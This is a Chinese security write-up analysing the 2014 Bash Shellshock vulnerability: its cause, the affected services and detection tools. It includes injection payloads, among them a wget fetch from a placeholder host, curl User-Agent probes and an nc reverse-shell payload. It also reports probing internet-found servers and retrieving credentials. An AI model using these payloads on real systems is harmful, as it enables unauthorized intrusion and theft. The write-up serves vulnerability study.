Shellshock漏洞回顧與分析測試

wyzsk發表於2020-08-19
作者: Debug_Orz · 2014/10/21 14:14

enter image description here

0x00 漏洞概述


很多人或許對2014上半年發生的安全問題“心臟流血”(Heartbleed Bug)事件記憶頗深,2014年9月,又出現了另外一個“毀滅級”的漏洞——Bash軟體安全漏洞。這個漏洞由法國GNU/Linux愛好者Stéphane Chazelas所發現。隨後,美國電腦應急響應中心(US-CERT)、紅帽以及多家從事安全的公司於週三(北京時間2014年9月24日)發出警告。

關於這個安全漏洞的細節可參看:CVE-2014-6271 和 CVE-2014-7169。

漏洞概況資訊如下:

漏洞英文名稱  Bash Shellshock
中文命名    破殼(X-CERT)
威脅響應等級  A級
漏洞相關CVE編號   CVE-2014-6271
漏洞發現者   Stéphane Chazelas(法國)
漏洞發現事件  2014年9月中旬
漏洞公佈時間  9月25日
漏洞影響物件  bash 1.14至bash 4.3的Linux/Unix系統 

2014年9月,UNIX、Linux系統中廣泛使用的Bash軟體被曝出了一系列、已經存在數十年的漏洞(Bash或Shellshock),在業界引起了非常大的影響。

最初的bug已經修復了,但引發了人們對Bash的解析程式可能產生0day漏洞的關切,隨後又挖掘出了第二個漏洞CVE-2014-7169,這個漏洞也在很快得到了修復。

不少Linux發行版本連夜釋出了修復版本的Bash,在伺服器領域佔有不少份額的大多數FreeBSD 和NetBSD已經預設關閉了自動匯入函式的功能,以應對未來可能出現的漏洞。

在這個漏洞的風波逐漸平息之餘,不少業內人士也在思考,它為何波及如此之廣,影響如此之大。

InfoWorld的專欄作者Andrew C. Oliver在一篇文章中表達了自己看法,他認為CGI技術的普及是個錯誤,正是因為CGI技術的不合理之處,Shellshock才有機可乘。

CGI技術是Web技術剛興起的時候發明的,它是最早的可以建立動態網頁內容的技術之一。它會把一個HTTP請求轉化為一次shell呼叫。

而Shellshock的原理是利用了Bash在匯入環境變數函式時候的漏洞,啟動Bash的時候,它不但會匯入這個函式,而且也會把函式定義後面的命令執行。在有些CGI指令碼的設計中,資料是透過環境變數來傳遞的,這樣就給了資料提供者利用Shellshock漏洞的機會。

0.1 Bash介紹

Bourne Again Shell(簡稱BASH)是在GNU/Linux上最流行的SHELL實現,於1980年誕生,經過了幾十年的進化從一個簡單的終端命令列直譯器演變成了和GNU系統深度整合的多功能介面。

根據維基百科的描述:Bash,Unix shell的一種。1989年釋出第一個正式版本,原先是計劃用在GNU作業系統上,但能執行於大多數類Unix系統的作業系統之上,包括Linux與Mac OS X v10.4都將它作為預設shell。它也被移植到Microsoft Windows上的Cygwin與MinGW,或是可以在MS-DOS上使用的DJGPP專案。在Novell NetWare與Android上也有移植。

0.2 CGI技術與指令碼解析

CGI (Common Gateway Interface),是一種基於瀏覽器的輸入,在Web伺服器上執行程式的方法。

CGI指令碼讓瀏覽器與使用者產生互動,例如,資訊評論,表單選擇,資料庫查詢。

作為網頁設計者,通常建立客戶端的 CGI指令碼,伺服器端的程式用來處理使用者輸入,結果返回給使用者。

後臺處理程式不僅僅可以用PHP、Python、Perl等指令碼來接受請求、解釋執行、響應客戶端,當然還可以用Bash指令碼來解釋執行使用者提交的GET或POST請求。

0.3 Bash漏洞與遠端執行

洞利用一般分為本地利用和遠端執行利用。

該漏洞爆出後,一些研究人員最初認為該漏洞只是本地漏洞,所以無法很好地利用。

隨著研究的深入,研究發現其實它可以進行遠端利用。2014年9月24日Bash被公佈存在遠端程式碼執行漏洞。

Bash漏洞其實是非常經典的“注入式攻擊”,也就是可以向 bash注入一段命令,從bash1.14 到4.3都存在這樣的漏洞。

由於Bash儲存遠端執行漏洞,所以,理論上,可以在HTTP請求中注入一個Bash命令,進行遠端執行,比如:

#!bash
() { :;}; wget http://www.XXX.com/testvul.sh

對於利用Bash指令碼處理使用者請求的網站,攻擊者可以精心偽造資料,透過網路傳到一臺伺服器上,直接或間接觸發一個bash指令碼,這樣就可以遠端執行惡意程式碼。

由於Bash是一個被廣泛整合的軟體,幾乎所有的系統都在執行,從Rapsberry Pis到手機,再到資料中心的伺服器以及大型機等。

由於自動匯入函式的功能至少從Bash 3.0開始就存在了,所以這個bug有可能在大多數系統中存在近20年了。

由於Apache伺服器中使用mod_cgi(不包括mod_phpmod_python)執行指令碼的時候,資料是透過環境變數來傳遞的,這可以算是網際網路領域最古老的一些技術了。

其他一些客戶端也會受到影響——比如Linux的DHCP客戶端——它大量運用Bash指令碼來使修改生效,這也使駭客能透過在DHCP資料包中加入惡意資料來達到攻擊的目的。

鑑於Bash是大多數Linux系統(以及OSX)上預設的shell,這個漏洞就意味著,把有害資料編入環境變數,傳到伺服器端,觸發伺服器執行Bash指令碼,就完成了攻擊(passing an poisoned environment variable through to a server running a CGI script could trivially be compromised)。

舉個例子,HTTP協議的頭User-Agent通常是透過環境變數HTTP_USER_AGENT來傳遞的,這意味使用以下命令就可以測試這個漏洞了:

#!bash
curl -H 'User-Agent:() { :; }; echo -e "\r\nVul\r\n"' http://example.com/some-cgi/script.cgi

對於不傳遞User-Agent的伺服器來說,常常還有其他受攻擊的可能——比如CookieReferer或者請求本身。 另外,這個bug不僅僅影響CGI指令碼和Apache——如果其他程式也收到並傳遞了有害的環境變數(比如ssh服務會接收TERM或DISPLAY環境變數),然後這些程式再執行一個Bash指令碼(或透過system()呼叫來執行),同樣的漏洞也會被利用。

和HTTP不同,SSH一般不允許匿名請求——觸發這個漏洞之前必須要登入——但是程式碼託管服務商們卻允許匿名登入(哪怕只登入到一個許可權受限的shell),所以為了防止入侵,GitHub更新了他們的企業級產品,Bitbucket也更新了他們的伺服器。

由於Bash漏洞能夠遠端執行,所以會產生像struts2等漏洞利用一樣的效果,對攻擊者而言,通常就是“拿站或拿伺服器”,再去執行其他操作。

下面引用一張圖,做個簡單的形象說明。

enter image description here

0x01 漏洞原因分析


漏洞資訊最早來源於國外知名漏洞網站exploit-db下的第34765篇漏洞報告,其中出現了一條驗證命令:

#!bash
env x='() { :;}; echo vulnerable' bash -c "echo this is a test "

如果在一個含有版本號小於bash 4.3的linux或者unix系統,本地執行以上命令,可能會得到以下輸出:

#!bash
Vulnerable this is a test

其中如果出現第一行vulnerable則說明該系統存在一個由bash程式缺陷導致的任意命令執行漏洞。

Windows Cygwin Terminal本地執行結果如下:

enter image description here

Kali 1.0.9-i386本地執行結果如下:

enter image description here

CVE-2014-6271中的bug修復後,問題馬上就解決了,大多數廠商都及時提供了修復後的Bash版本。面向網際網路的伺服器沒有理由不馬上修復它,因為這個漏洞會使主機完全落入別人的控制(以Apache所使用的使用者身份)中。 但是,大家的目光已經聚焦在這個領域,新的bug被發現了。同時使用Bash的shell重定向功能和函式自動匯入功能,CVE-2014-7169出現了。這回導致的結果是可以隨意讀寫遠端機器上的檔案,使用的手段和上次一樣,只不過這次是利用了shell的重定向符號<或>。

#!bash
env CVE_2014_7169='() { (a)=>\' bash -c "echo date"; cat echo

這次解析器先停在=號上(由於(a)=不是一個有效的Bash表示式),但至關重要的是把<號留在瞭解析管道中。接下來的轉義符\會使解析器在重定向命令之間插入一些空格(但無關緊要),最終導致了後面的命令變成了一條重定向命令:

#!bash
>echo data

這是一條有效的Bash命令,語義上它等價於下面這種更常見的形式:

#!bash
date >echo

注意,另外一個重定向符號<在這裡也是有效的,它可以把輸入重定向到檔案。 所以這個bug也被修復了。

當然,有能力設定任何環境變數,可以使攻擊者控制一切東西——修改IFS環境變數(過去被利用過的一個漏洞),甚至修改PATH環境變數,會影響新啟動的shell指令碼的行為,無論如何這些手段都會導致問題。但至少前面提到的SSH和CGI攻擊中,涉及的環境變數要麼是有限幾個(TERM、DISPLAY等),要麼是以某個字首(HTTP_USER_AGENT、HTTP_REFERRER)開頭的。所以除了字首名所代表的程式外,其他的程式受影響有限。

有些人預計Bash自動匯入函式的功能還存在安全漏洞,擔心未來還會有bug曝出。NetBSD在Bash中預設關閉了自動匯入函式的功能,FreeBSD也這麼做了,轉而以新增選項( --import-functions)的方式提供這個功能。

1.1 正常執行過程分析

我們先來看一下這個安全問題的症狀。這個問題的發生是因為Bash的一個功能,它允許在Bash的shell中使用環境變數來定義函式。函式的作用是把經常呼叫的程式碼封裝起來,然後在其他地方複用,所有的shell指令碼語言都有這個功能。Bash中函式的定義是這樣的(大多數其他shell也是):

#!bash
function hello {
 echo "Hello"
}
hello    # 呼叫這個函式

但是,Bash還有一種使用環境變數來定義函式的方法,這是它獨有的。

如果環境變數的值以字元“() {”開頭,那麼這個變數就會被當作是一個匯入函式的定義(Export),這種定義只有在shell啟動的時候才生效。

#!bash
$ export HELLO="() { echo 'Hello'; }"
$ HELLO
-bash: HELLO: command not found
$ bash
$ HELLO
Hello

上述語句在Cygwin Terminal環境下的測試結果如下。

enter image description here

使用下面語句定義後,檢視環境變數,可以發現剛才定義的值

#!bash
export X='() { echo "inside X"; }; echo "outside X";'

enter image description here

下面對Bash獨特的定義方式進行測試,因為這種獨特的方法只會在shell啟動的時候生效,所以大多數用來演示這個漏洞的示例程式碼都只有一行:

#!bash
env HELLO="() { echo 'Hello'; }" bash -c HELLO

這行程式碼的作用跟下面分步執行的語句,在效果上是一樣的。

enter image description here

env命令代表“先設定下面的環境變數,再執行下面的程式”,並且執行完成後當前的環境變數不受影響。實際上,直接寫成

#!bash
env HELLO="() { echo 'Hello'; }" bash -c HELLO

也可以。

bash命令指定了-c選項是為了啟動bash時就執行HELLO函式,這裡必須新起一個bash,因為只有bash啟動的時候才會去解析函式的定義。

正常的函式定義和執行如下

#!bash
env HELLO="() { echo 'Hello'; }" bash -c HELLO

enter image description here

1.2 異常執行過程分析

透過上述對bash 執行過程分析,可知bash在處理含有函式定義諸如"() { :; }"的環境變數賦值的程式碼上存在設計缺陷,錯誤地將函式定義後面的字串作為命令執行。

所以真正的利用與env命令無關,只要設法讓系統接受一個含有"[函式定義]+[任意命令]"的環境變數賦值則可觸發" [任意命令] "部分所表示的程式碼執行。

惡意命令被新增在合法環境變數之後,Bash會首先執行惡意命令,異常執行結構圖示如下:

enter image description here

Shellshock command diagram (Symantec)

異常方式,如果注入如下程式碼(需要注意的是此例中函式定義使用的是單引號,函式體內容為空,函式體後有echo語句)。

#!bash
env VAR='() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"

上述輸入向環境變數中注入了一段程式碼 echo Bash is vulnerable。

打個比方,本來正常要執行的是“牛A”和“牛C”,結果中間的“牛B”被執行了

enter image description here

Bash漏洞在於函式體外面的程式碼被預設地執行了,執行結果如下所示。

enter image description here

問題出現在bash解析完函式定義,執行函式的時候,它自動匯入函式的解析器越過了函式定義的結尾,接著執行後面的程式碼,並且由於每一個新的bash啟動時都會觸發這個漏洞,相當於任意程式碼都能被執行了。

有漏洞的系統還會把“Bash is vulnerable”打出來,在修復後的系統中,上面命令的結果應該只列印“Hello”,而不會執行其他的語句。

1.3 原始碼級分析

由於網上已經有相關分析文章,具體請參考如下連結:

期待更多大神級原始碼深入分析。

0x02 影響範圍分析


對於存在Bash漏洞系統而言,由於它允許未經授權的遠端使用者可以指定Bash環境變數,那麼執行這些服務或應用程式的系統,就存在漏洞被利用的可能。

只要是能透過某種手段為bash傳遞環境變數的程式都受此影響。當然最典型的的就是bash寫的CGI程式了,客戶端透過在請求字串里加入構造的值,就可以輕鬆攻擊執行CGI的伺服器。

目前大多數的網站很少用CGI了,所以問題不算太大。但是有很多的網路裝置,如路由器、交換機等都使用了Perl或者其他語言編寫的CGI程式,只要是底層呼叫了bash,那麼就愛存在風險。

任何已知程式,只要滿足以下兩個條件就可以被用來透過bash漏洞導致任意命令執行:

1、程式在某一時刻使用bash作為指令碼直譯器處理環境變數賦值; 2、環境變數賦值字串的提交取決於使用者輸入。

目前,可能被利用的系統包括:

  • 執行CGI指令碼(透過mod_cgi 和 mod_cgid)的Apache HTTP 伺服器;
  • 某些DHCP客戶端;
  • 使用Bash的各種網路服務;
  • 使用 ForceCommand 功能的 OpenSSH 伺服器;
  • 使用CGI作為網路介面的基於Linux的路由器;
  • 使用Bash的各種嵌入式裝置。
  • ……

0x03 漏洞驗證測試


3.1 不同工具測試比較

不同工具測試同一地址。

工具1 利用Crow Strike ShellShock Scanner測試Bash漏洞,該工具可以批次掃描,測試某網站結果如下:

enter image description here

為了分析該工具的測試字元,利用Wireshark抓包,發現該工具主要測試了3個欄位Test、Cookie、Referer,抓包結果如下:

enter image description here

工具2

enter image description here

工具3

enter image description here

3.2 本地測試

enter image description here

本地構造不同的POC,進行Bash漏洞測試,如果我們開啟Cygwin Terminal,使用不同的測試用例,進行測試,在Cygwin Terminal下的測試結果如下:

enter image description here

3.3 遠端測試

選取網上搜尋到的目標,對其進行Bash漏洞測試,使用工具curl。

測試命令如下:

#!bash
curl -H 'User-Agent:() { :; }; echo -e "\r\nVul\r\n"'  http://XXX:8080/cgi-bin/XXX.cgi

測試截圖如下:

enter image description here

在http協議中構造RefererCookieUser-Agent欄位命令,使用Burpsuit,傳送到存在Bash漏洞的伺服器,會返回3個Vul字元,說明3個欄位傳遞的引數都被伺服器後端指令碼解析處理,測試結果如下:

enter image description here

構造其他Poc,獲取伺服器使用者名稱和密碼。

enter image description here

0x04 漏洞利用測試


在本地搭建有Bash漏洞的伺服器,利用瀏覽器訪問CGI頁面,顯示正常訪問。

enter image description here

用Burpsuit進行攔截,初始時intercept is off

enter image description here

用Burpsuit進行攔截,開啟intercept is on

enter image description here

修改http協議中的User-Agent欄位為

#!bash
() { :; }; /bin/bash -c "nc 192.168.175.142 4444 -e /bin/bash -i"

enter image description here

傳送http請求後,nc反彈,可以檢視使用者名稱、目錄、系統版本等資訊。

enter image description here

0x05 參考文獻


1) http://www.freebuf.com/vuls/44994.html

2) http://www.freebuf.com/news/44768.html

3) http://www.freebuf.com/news/45436.html

4) http://blog.csdn.net/u011721501/article/details/39558303

5) http://www.srxh1314.com/bash-cgi-bin.html

6) http://www.linuxidc.com/Linux/2014-09/107250.htm

7) http://www.freebuf.com/tools/45311.html

8) http://www.timlaytoncybersecurity.com/2014/09/30/shellshock-bash-code-injection-vulnerability- overview-info/

9) http://blog.sucuri.net/2014/09/bash-vulnerability-shell-shock-thousands-of-cpanel-sites-are-high- risk.html

10) http://blog.erratasec.com/2014/09/the-shockingly-bad-code-of-bash.html#.VEW-R_mUeE0

11) http://blog.cloudflare.com/inside-shellshock/

12) http://www.zenghui123.com/2014-10/linux-bash-vulnerability-ShellShock/

13) http://it.slashdot.org/story/14/09/29/024239/bash-to-require-further-patching-as-more-shellshock- holes-found

14) http://www.itnews.com.au/News/396256,further-flaws-render-shellshock-patch-ineffective.aspx

15) http://www.antiy.com/response/CVE-2014-6271.html

16) http://www.antiy.com/response/The_Association_Threat_Evolution_of_Bash_and_the_Current_Status_of_Malware_in_UNIX-like_Systems.html

17) http://blog.knownsec.com/2014/10/shellshock_response_profile_v4/#more-1559

18) http://blog.csdn.net/delphiwcdj/article/details/18048757

19) /papers/?id=3064

20) http://fish.ijinshan.com/cgibincheck/check

21) https://access.redhat.com/articles/1200223

22) http://www.antiy.com/response/CVE-2014-6271.html

23) http://lcamtuf.blogspot.fr/2014/09/quick-notes-about-bash-bug-its-impact.html

24) http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html

25) http://mashable.com/2014/09/26/what-is-shellshock/

26) http://www.businessinsider.com/bash-shell-bug-explained-2014-9

27) http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html#.VD5bk2SUeE0

28) http://blog.erratasec.com/2014/09/bash-shellshock-bug-is-wormable.html#.VD5bymSUeE1

29) http://resources.infosecinstitute.com/bash-bug-cve-2014-6271-critical-vulnerability-scaring- internet/

30) http://unix.stackexchange.com/questions/157329/what-does-env-x-command-bash-do-and-why-is-it- insecure

31) http://askubuntu.com/questions/529511/explanation-of-the-command-to-check-shellshock

32) http://digg.com/video/the-shellshock-bug-explained-in-about-four-minutes

33) http://www.symantec.com/connect/blogs/shellshock-all-you-need-know-about-bash-bug-vulnerability

34) http://brandonpotter.wordpress.com/2014/09/30/some-stats-from-shellshock-test-tool-analysis/

35) http://coolshell.cn/articles/11973.html

36) http://www.infoq.com/cn/news/2014/10/shellshock

37) http://www.infoq.com/news/2014/09/shellshock

38) http://www.freebuf.com/articles/web/45520.html

39) http://blog.sucuri.net/2014/09/bash-shellshocker-attacks-increase-in-the-wild-day-1.html

40) http://mobile.itnews.com.au/News/396197,first-shellshock-botnet-attacks-akamai-us-dod- networks.aspx

41) http://securityaffairs.co/wordpress/29070/malware/mayhem-shellshock-attacks-worldwide.html

42) http://www.carmelowalsh.com/2014/09/wopbot-botnet/

43) http://blog.malwaremustdie.org/2014/10/mmd-0029-2015-warning-of-mayhem.html

44) http://www.incapsula.com/blog/shellshock-bash-vulnerability-aftermath.html

45) https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-the- shellshock-bash-vulnerability

46) https://github.com/gry/shellshock-scanner

47) http://www.tripwire.com/state-of-security/vulnerability-management/how-to-detect-the-shellshock- bash-bug-on-your-internal-network/

48) https://community.qualys.com/blogs/securitylabs/2014/09/25/shellshock-is-your-webserver-under- attack

49) https://community.qualys.com/blogs/qualys-tech/2014/10/02/using-qualys-was-scan-to-detect- shellshock-vulnerability

50) http://samiux.blogspot.com/2014/09/exploit-shellshock-proof-of-concept.html

51) http://oleaass.com/shellshock-proof-of-concept-reverse-shell/

52) http://milankragujevic.com/projects/shellshock/

53) http://milankragujevic.com/post/64

54) http://breizh-entropy.org/~nameless/random/posts/shellshock_shits_got_real/

55) http://www.tripwire.com/state-of-security/vulnerability-management/how-to-detect-the-shellshock- bash-bug-on-your-internal-network/

56) https://github.com/gry/shellshock-scanner

57) http://blog.crowdstrike.com/crowdstrike-shellshock-scanner/

58) http://businessinsights.bitdefender.com/shellshock-bashbug

59) http://www.csoonline.com/article/2689216/vulnerabilities/apple-publishes-patch-for-shellshock- vulnerability.html

60) http://alblue.bandlem.com/2014/09/bash-remote-vulnerability.html

61) https://shellshocker.net/

62) https://github.com/mubix/shellshocker-pocs

63) http://oleaass.com/shellshock-proof-of-concept-reverse-shell/

64) http://www.freebuf.com/articles/system/45390.html

65) http://blog.knownsec.com/2014/10/shellshock_response_profile_v4/#more-1559

66) http://it.deepinmind.com/%E5%85%B6%E5%AE%83/2014/09/26/everything-you-need-to-know-about- shellshock.html

67) http://www.securitysift.com/the-search-for-shellshock/

68) http://blog.cloudflare.com/inside-shellshock/

69) http://blog.regehr.org/archives/1187

70) https://github.com/mubix/shellshocker-pocs

71) http://pastebin.com/mG1grQwK

72) http://www.cyactive.com/shellshock-blasts-supermassive-black-hole-heart-cyber-space/

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章